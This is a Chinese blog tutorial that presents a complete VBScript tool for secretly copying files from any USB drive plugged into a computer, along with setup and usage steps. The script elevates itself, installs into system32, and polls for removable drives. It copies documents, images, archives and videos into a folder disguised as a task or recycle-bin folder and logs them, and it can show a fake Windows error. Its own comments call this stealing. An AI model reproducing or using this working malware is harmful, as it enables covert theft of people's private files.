自动复制U盘文件的VBS脚本

以下为演示:
一、设置
右键单击,选择编辑
oStr = "txt|jpg|doc" '你要窃取的文件类型,可以自行添加,用“|”隔开
oDistPath = "C:\\windows\\system\\" '保存路径
oFolderName = "Task" '保存文件夹名称
oType = 0 '将保存的文件夹进行伪装 1为task文件夹,2为recycler文件夹,0为不伪装
oOut = 1 '1复制完毕后退出,0复制完毕后不退出,继续循环。

f6ce10fb2a01497c8bfb9917ffb866e0.jpeg

二、保存后运行
会出现“安装成功”对话框,如果不希望出现该对话框,可以将“Msgbox "安装成功"”注释掉。

2c3296dd7a534300a68509a6c309169b.jpeg

 

此时脚本已经在循环监测U盘的插入 

3076fea4acbe44c088241e5ce74bb2e9.jpeg

 

 三、插入U盘
U盘插入后,就开始文件的复制。复制完成后会出现提示对话框。

 

如果不希望出现该对话框,可以将 “Msgbox "Windows 错误",64”注释掉

ab0bf425c2ab444eaf0a68da7412743f.jpeg

 

四、寻找文件
此时,文件已经在目标文件夹中。 

 0d5b721a1da54ea7b0cad738770cfd06.jpeg

 

 Copy.log记录的是原文件及复制后的文件。

f7f89b2169e3438c98cebe67e3b0cef8.jpeg

以下为代码部分↓

'以管理员身份运行
Set WshShell = WScript.CreateObject("WScript.Shell") 
If WScript.Arguments.Length = 0 Then 
  Set ObjShell = CreateObject("Shell.Application") 
  ObjShell.ShellExecute "wscript.exe" _ 
  , """" & WScript.ScriptFullName & """ RunAsAdministrator", , "runas", 1 
  WScript.Quit 
End if 

oStr = "txt|jpg|doc|ppt|pptx|rar|zip|mp4|xlsx" '文件类型,添加文件类型用“|”隔开 
oDistPath = "C:\\windows\\system\\" '保存路径 
oFolderName = "Task" '保存文件夹名称 
oType = 1 '1为task文件夹,2为recycler文件夹,0为不隐藏 
oOut = 1 '1复制完毕后退出,0复制完毕后不退出,继续循环 
Set fso=CreateObject("scripting.filesystemobject") 
Set wshell=CreateObject("WScript.shell") 

If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\Baikai.vbs" Then '如果是在system32 

'文件夹不存在则创建 
If (not fso.FolderExists(oDistPath & oFolderName)) Then 
fso.CreateFolder(oDistPath & oFolderName) 
End If 
'创建记录文件 
Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&"\\Copy.log",True) 
'循环监测移动存储设备插入 
Do 
For Each oDriver In fso.Drives 
If oDriver.DriveType=1 And oDriver<>"A:" And oDriver<>"B:" Then 
TreeIt(oDriver) 
Msgbox "Windows 错误",64 
If(oOut=1) then 
Exit Do 
End if 
End If 
Next 
WScript.Sleep 15000 
Loop 
Mylog.Close 

'隐藏文件夹 
oHideFolder oDistPath,oFolderName,oType 


else '如果是其它目录,先安装 
fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&"\Baikai.vbs",True 
wshell.Run fso.GetSpecialFolder(1)&"\Baikai.vbs" 
Msgbox "安装成功" 
end if 


Set fso=nothing 
Set wshell=nothing 



'遍历目录函数 
Function TreeIt(sPath) 
Set oFolder = fso.GetFolder(sPath) 
Set oSubFolders = oFolder.Subfolders 

Set oFiles = oFolder.Files 
For Each oFile In oFiles 
oCopyFile oFile.Path,oDistPath,oFolderName 
Next 

For Each oSubFolder In oSubFolders 
TreeIt(oSubFolder.Path) 
Next 

Set oFolder = Nothing 
Set oSubFolders = Nothing 

End Function 

'复制文件函数 
Function oCopyFile(FileName,oDistPath,oFolderName) 
Ext = fso.GetExtensionName(FileName) 
If(instr(oStr,lcase(Ext))) then 
Randomize 
tempname=Ext&int((Rnd*100000000)+1)&"."&Ext 
fso.CopyFile FileName,oDistPath&oFolderName&"\\"&tempname,true 
Mylog.writeline FileName 
Mylog.writeline tempname 
End If 
End Function 

'隐藏文件夹函数 
Sub oHideFolder(oDistPath,oFolderName,oType) 

Select Case oType 
case 1 
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True) 
inf.writeline("[.ShellClassInfo]") 
inf.writeline("CLSID={d6277990-4c6a-11cf-8d87-00aa0060f5bf}") 
case 2 
Set inf=fso.CreateTextfile(oDistPath&oFolderName&"\\desktop.ini",True) 
inf.writeline("[.ShellClassInfo]") 
inf.writeline("CLSID={645FF040-5081-101B-9F08-00AA002F954E}") 
case 0 
Exit sub 
End Select 
Set inf=nothing 

Set SysoFolder=fso.GetFolder(oDistPath&oFolderName) 
SysoFolder.attributes=4 
Set SysoFolder=nothing 

End sub

 

——如若侵权,请联系我删除本文章

 

 

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值